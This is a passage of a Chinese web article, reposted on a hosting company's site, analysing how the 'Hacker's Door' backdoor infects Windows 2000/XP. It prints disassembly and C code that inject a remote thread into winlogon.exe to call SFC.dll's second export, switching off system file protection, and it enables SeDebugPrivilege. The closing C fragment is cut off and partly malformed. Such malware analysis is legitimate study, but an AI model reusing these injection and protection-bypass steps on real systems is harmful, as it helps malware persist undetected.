手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

“黑客之门”后门的魅力:感染与加载

来源:互联网 作者:west263.com 时间:2008-02-23
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

.data:1000BDC5   mov   ecx, edi
.data:1000BDC7   call  sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC   push  esi       ; hLibModule
.data:1000BDCD   mov   edi, eax
.data:1000BDCF   call  FreeLibrary
.data:1000BDD5   test  edi, edi
.data:1000BDD7   push  ebx       ; hObject

  跟进Sub_1000BBF0函数,Sub_1000BBF0函数:

  入口参数:进程句柄、线程开始地址

.data:1000BBF0 sub_1000BBF0  proc near   ; CODE XREF: sub_1000BC70 157 p
.data:1000BBF0
.data:1000BBF0 ThreadId    = dword ptr -1
.data:1000BBF0 hProcess    = dword ptr 7
.data:1000BBF0 lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0   push  ecx
.data:1000BBF1   mov   ecx, [esp 1 lpStartAddress]
.data:1000BBF5   mov   edx, [esp 1 hProcess]
.data:1000BBF9   lea   eax, [esp 1 ThreadId]
.data:1000BBFD   push  esi
.data:1000BBFE   push  eax   ; lpThreadId
.data:1000BBFF   push  0     ; dwCreationFlags
.data:1000BC01   push  0     ; lpParameter
.data:1000BC03   push  ecx   ; SFC.dll中第二个函数的函数地址
.data:1000BC04   push  0     ; dwStackSize
.data:1000BC06   push  0     ; lpThreadAttributes
.data:1000BC08   push  edx   ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09   mov   [esp 21h ThreadId], 0
.data:1000BC11   call  CreateRemoteThread  ;创建远线程
.data:1000BC17   mov   esi, eax
.data:1000BC19   test  esi, esi ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B   jnz   short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:   ; CODE XREF: sub_1000BBF0 2B j
.data:1000BC3F     push  0FA0h     ; dwMilliseconds
.data:1000BC44     push  esi       ; 新创建的线程的句柄
.data:1000BC45     call  WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B     test  eax, eax
.data:1000BC4D     jz   short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:     ; CODE XREF: sub_1000BBF0 5D j
.data:1000BC5D     push  esi       ; hObject
.data:1000BC5E     call  CloseHandle
.data:1000BC64     mov   eax, [esp 5 ThreadId]
.data:1000BC68     pop   esi
.data:1000BC69     pop   ecx
.data:1000BC6A     retn  8
.data:1000BC6A sub_1000BBF0  endp

  上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。

  事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。

  这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。

HANDLE hToken;
  LUID DebugNameValue;
  TOKEN_PRIVILEGES Privileges;
  DWORD dwRet;

  OpenProcessToken(GetCurrentProcess(),
  TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
  LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
  Privileges.PrivilegeCount=1;
  Privileges.Privileges[0].Luid=DebugNameValue;
  Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
         NULL,&dwRet);
  CloseHandle(hToken);

  上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{        // Windows 2000/XP
    if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
         hSfc = LoadLibrary("sfc.dll");   
    else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)       //Windows XP

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!